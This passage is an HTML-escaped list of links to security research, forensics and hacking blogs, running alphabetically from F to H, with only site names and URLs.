  &lt;li&gt;&lt;a href=&quot;https://firzen.de&quot;&gt;Firzens Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://flaksec.com&quot;&gt;Flaksec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://flaviu.io&quot;&gt;Flaviu Popescu&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://flawed.net.nz&quot;&gt;flawed.net.nz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.floyd.ch&quot;&gt;floyd.ch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fluxsec.red&quot;&gt;Fluxsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.fo-sec.com/articles&quot;&gt;FO-Sec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://footstep.ninja&quot;&gt;footstep.ninja&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.forcesunseen.com&quot;&gt;Forces Unseen&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://forensicmike1.com&quot;&gt;forensicmike1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://forensixchange.com&quot;&gt;Forensics | Exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.forensicxlab.com/posts/&quot;&gt;ForensicXLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.forgottennook.com/blog&quot;&gt;Forgotten Nook&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.forrest-orr.net&quot;&gt;Forrest Orr&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://forsec.nl&quot;&gt;forsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://forwardslashsecurity.com/blog/&quot;&gt;Forward Slash Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.deeplook.cl&quot;&gt;Francisco Correa Security.log&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fredericb.info&quot;&gt;fred’s notes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://frederik-braun.com/archives.html&quot;&gt;Frederik Braun&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://frereit.de&quot;&gt;Frederik Reiter&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://freezion.com&quot;&gt;freeZion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fresh-eggs.github.io/&quot;&gt;Fresh Eggs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.fndsec.net&quot;&gt;Friends &amp;amp; Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.frizk.net&quot;&gt;FrizK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.frizn.fr&quot;&gt;FrizN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fudgedotdotdot.github.io&quot;&gt;fudgedotdotdot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://terenceli.github.io&quot;&gt;Full of Miracles&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.fullspectrum.dev&quot;&gt;Full Spectrum Things&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fumik0.com&quot;&gt;Fumik0_’s box&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.enyei.com/blog/&quot;&gt;Fun With Tech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://furalabs.com/blog&quot;&gt;Fura Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://furrtek.free.fr&quot;&gt;Furrtek&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.haschek.at&quot;&gt;Futurelopment&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0x0byt3.com/blog&quot;&gt;Fuxsocy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fuzzing.science/page/fuzzing-android-native-libraries-with-libfuzzer-qemu/&quot;&gt;Fuzzing Science&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.fuzzysecurity.com&quot;&gt;fuzzysecurity 2.0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fyr.io&quot;&gt;fyr.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://g0blin.co.uk&quot;&gt;g0blin Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://g3tsyst3m.github.io&quot;&gt;G3tSyst3m’s Infosec Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bytearchitect.io/macos-security/macOS-Hardening-a-new-series/&quot;&gt;Gabriel Biondo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gabrieldurdiak.github.io&quot;&gt;Gabriel Durdiak&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gabriel.kerneis.info&quot;&gt;Gabriel Kerneis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.gbrls.space/blog/&quot;&gt;Gabriel Schneider&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.gabrielvasseur.com&quot;&gt;Gabriel Vasseur&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://galnagli.com/blog/&quot;&gt;Gal Nagli&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://weizman.github.io&quot;&gt;Gal Weizman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gamozolabs.github.io&quot;&gt;Gamozo Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://garbage.institute&quot;&gt;Garbage Institute&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://saladhax.site&quot;&gt;Garrett Brown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://garrettmills.dev/blog&quot;&gt;Garrett Mills&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://garrit.xyz/posts&quot;&gt;Garrit’s Notes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://garyodernichts.blogspot.com&quot;&gt;Gary’s hacking stuff&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://offsec.space/posts/&quot;&gt;Gaurang Bhatnagar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gauravnarwani.com&quot;&gt;Gaurav Narwani&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gccybermonks.com&quot;&gt;gccybermonks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gebir.ge/blog/&quot;&gt;gebir.ge&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dhiyaneshgeek.github.io&quot;&gt;Geek Freak&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shreyapohekar.com/blogs/&quot;&gt;Geek Girl&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://geekmasher.dev&quot;&gt;GeekMasher’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.geekycat.in&quot;&gt;Geeky Cat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://generaleg0x01.com/blog/&quot;&gt;GeneralEG 0x01&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://georgeosterweil.com&quot;&gt;George Osterweil&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.astrocamel.com&quot;&gt;George Skouroupathis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.georgiacrossland.com/blog&quot;&gt;Georgia Crossland&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gergelykalman.com&quot;&gt;Gergely Kalman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.tinned-software.net&quot;&gt;Gerhard Steinbeis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ghaleb0x317374.github.io&quot;&gt;Ghaleb Al-otaibi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ghettobastler.com&quot;&gt;GhettoBastler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ghostccamm.com/blog/&quot;&gt;GhostCCamm’s Cyber Misadventures&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ghostinthehive.wordpress.com&quot;&gt;GhostInTheHive&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://ghostlulz.com/blog/&quot;&gt;GHOSTLULZ HACKS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ghozt.ninja&quot;&gt;ghozt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ktln2.org/index.html&quot;&gt;Gianluca Pacchiella&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://y.at/🦄🌈☁%EF%B8%8F⭐☄%EF%B8%8F&quot;&gt;Giovanna Chadid&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.giovanni-rocca.com&quot;&gt;Giovanni Rocca&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://giraffesecurity.dev&quot;&gt;Giraffe Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.gironsec.com/blog/&quot;&gt;Gironsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://glenn.pegden.com&quot;&gt;Glenn Pegden&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.glitchcat.xyz&quot;&gt;Glitch Cat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.go350.com/posts/&quot;&gt;Go350&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.goblinloot.net&quot;&gt;Goblin Loot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://godiego.co&quot;&gt;GoDiego&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.goggleheadedhacker.com&quot;&gt;GoggleHeadedHacker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://goingbeyondgrep.com&quot;&gt;Going Beyond Grep&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.gkbrk.com&quot;&gt;Gokberk Yaltirakli&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://g0ku704.github.io/index.html&quot;&gt;Goku&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://goncalor.com&quot;&gt;Gonçalo Ribeiro&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://gooddebate.org&quot;&gt;Good Debate&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://goodworkaround.com&quot;&gt;Good Workaround!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://krbtgt.pw&quot;&gt;got 0day?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://grahamhelton.com/blog/&quot;&gt;Graham Helton&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.graplsecurity.com/blog&quot;&gt;Grapl&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.gravitywall.net&quot;&gt;Gravitywall Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://grazfather.github.io/posts/&quot;&gt;Grazfather&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lecromee.github.io&quot;&gt;Greek geek&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://g-les.github.io&quot;&gt;Greg Lesnewich&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://greg.molnar.io/blog/&quot;&gt;Greg Molnar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thegreycorner.com&quot;&gt;The Grey Corner&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://grimbins.github.io&quot;&gt;GrimBins&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://grimmie.net&quot;&gt;GrimmzSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.group-ib.com/blog/&quot;&gt;Group-IB&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hawkinsecurity.com&quot;&gt;Growing Web Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gtfobins.github.io/&quot;&gt;GTFOBins&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://guidovranken.com&quot;&gt;Guido Vranken&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.errno.fr&quot;&gt;Guillaume Quere&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gum3t.xyz/posts/&quot;&gt;gum3t&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://guptashubham.com&quot;&gt;Gupta Shubham&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lewin.co.il&quot;&gt;Guy Lewin’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gynvael.coldwind.pl/?blog=1&amp;amp;lang=en&quot;&gt;gynvael.coldwind//vx.log&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://h.acker.is&quot;&gt;h.acker.is&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.h0wdy.partners/blog.html&quot;&gt;h0wdy partners&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.h3xstream.com&quot;&gt;h3xStream’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ragab0t.com&quot;&gt;H4cking Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://haacked.com&quot;&gt;Haacked&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.haboob.sa&quot;&gt;Haboob&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hacefresko.com/&quot;&gt;hacefresk0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hack.cybersystems.engineer/blog/index.html&quot;&gt;HACK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hacknpatch.com&quot;&gt;Hack N Patch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://z-sec.co&quot;&gt;Hack The Planet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://jcjc-dev.com&quot;&gt;Hack The World&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackademic.co.in&quot;&gt;Hackademic.in&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackademix.net&quot;&gt;hackademix.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackarcana.com/articles&quot;&gt;hackArcana&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackcommander.github.io/year-archive/&quot;&gt;HackCommander&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackcompute.com&quot;&gt;hackcompute&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackd.net&quot;&gt;hackd&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thehackerblog.com&quot;&gt;The Hacker Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackerfactor.com/blog/&quot;&gt;The Hacker Factor Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hacker-ai.ai/blog&quot;&gt;Hacker AI&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackerfactor.com/blog/&quot;&gt;The Hacker Factor&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackerfiction.net/blogpage/&quot;&gt;Hacker Fiction Net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://yichenchai.github.io&quot;&gt;HackerChai&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://parsiya.net&quot;&gt;Hackerman’s Hacking Tutorials&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackerspot.net&quot;&gt;Hackerspot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackguru.tech&quot;&gt;HackGuru.tech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackingand.coffee&quot;&gt;Hacking &amp;amp; Coffee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackingandsecurity.blogspot.com&quot;&gt;Hacking and security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackingbutlegal.com&quot;&gt;Hacking but Legal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackingarticles.in&quot;&gt;Hacking Articles&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hecfblog.com&quot;&gt;Hacking Exposed Computer Forensics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackingjourney.com/blog/&quot;&gt;Hacking Journey&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kaist-hacking.github.io/#about&quot;&gt;Hacking Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackingthe.cloud/blog/&quot;&gt;Hacking The Cloud&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hexkyz.blogspot.com&quot;&gt;Hacking the planet…&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hack5.dev&quot;&gt;Hackintosh 5&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hacklad.github.io&quot;&gt;Hacklad’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackliu.com&quot;&gt;HackLiu’Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackmd.io/@pepsipu&quot;&gt;HackMD&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.hackndo.com&quot;&gt;hackndo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.hckrt.com/blog/&quot;&gt;Hackrate&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.hacks.gr/security/&quot;&gt;hacks.gr&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackso.me&quot;&gt;hackso.me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackster.io/news/&quot;&gt;hackster.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.hacktivesecurity.com&quot;&gt;Hacktive Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://book.hacktricks.xyz&quot;&gt;HackTricks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hacktus.tech&quot;&gt;Hacktus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hacky.solutions/blog&quot;&gt;hacky.solutions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackyboiz.github.io&quot;&gt;Hackyboiz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.haftofthespear.com&quot;&gt;Haft of the Spear&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://haiderm.com&quot;&gt;Haider Mahmood&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://justhaifei1.blogspot.com/&quot;&gt;Haifei’s random thoughts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://haircutfish.com/&quot;&gt;Haircutfish&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hakluke.com/blog/&quot;&gt;HAKLUKE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://deer-run.com/users/hal/&quot;&gt;Hal Pomeranz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jon.glass&quot;&gt;Half Full of Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.hboeck.de&quot;&gt;Hanno’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hansesecure.de&quot;&gt;HanseSecure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hardenedlinux.org&quot;&gt;HardenedLinux&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://r0075h3ll.github.io&quot;&gt;Hardik Nanda&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ivanorsolic.github.io/post/&quot;&gt;Hardware hacking tutorials by Ori&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nokline.github.io&quot;&gt;Harel Security Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.harmj0y.net/blog/blog/&quot;&gt;harmj0y&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gill.net.in/posts/&quot;&gt;Harry Gill&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sintonen.fi/advisories/&quot;&gt;Harry Sintonen&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.harshjaiswal.com&quot;&gt;Harsh Jaiswal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.h4rsh4d.com&quot;&gt;Harshad Gaikwad&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hshrzd.wordpress.com&quot;&gt;hasherezade’s 1001 nights&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://hassankhanyusufzai.com&quot;&gt;Hassan Khan | Security Researcher&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ptr-yudai.hatenablog.com&quot;&gt;Hatena Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hateshape.github.io&quot;&gt;hateshape&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://hatless1der.com&quot;&gt;hatless1der&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hatsoffsecurity.com&quot;&gt;Hats Off Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hausec.com&quot;&gt;Hausec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://haxatron.gitbook.io/vulnerability-research/&quot;&gt;Haxatron’s Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://haxolot.com/posts/&quot;&gt;HAXOLOT.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://haxor.no&quot;&gt;Haxor.no&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://haxrob.net&quot;&gt;haxrob&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://haxx.in&quot;&gt;Haxxin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://haydenjames.io&quot;&gt;Hayden James&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hnolan.com/posts/&quot;&gt;Hayden Nolan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://haymiz.dev&quot;&gt;haymiz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hazanasec.github.io&quot;&gt;Hazanasec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hazemhussien99.wordpress.com&quot;&gt;Hazem’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hckng.org&quot;&gt;hckng&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hdm.io&quot;&gt;HD Moore&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://heartburn.dev&quot;&gt;HEARTBURN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eybisi.run&quot;&gt;hedgehog’s cave&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hedysx.com&quot;&gt;Hedysx&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://heilancoos.github.io/&quot;&gt;Heilan Cyber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://heitorgouvea.me&quot;&gt;Heitor Gouvêa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hela-lucas.com/blog/&quot;&gt;Hela Lucas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://helalucas.github.io&quot;&gt;Hela’s Website&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://helich0pper.github.io&quot;&gt;Helich0pper&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hella-secure.com&quot;&gt;Hella Secure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://herm1tvx.blogspot.com&quot;&gt;herm1t&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hesec.de&quot;&gt;hesec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hethical.io&quot;&gt;hethical&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hex.fish&quot;&gt;Hex Fish’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hexacorn.com/blog/&quot;&gt;Hexacorn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hexatomium.github.io&quot;&gt;hexatomium&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hideandsec.sh/shelves/english&quot;&gt;HideAndSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ramimac.me/posts/&quot;&gt;High Signal Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://highon.coffee/blog/&quot;&gt;HighOn.Coffee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.himanshuanand.com/&quot;&gt;Himanshu Anand&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://pwnrip.com&quot;&gt;Himanshu Khokhar&lt;/a&gt;&lt;/li&gt;
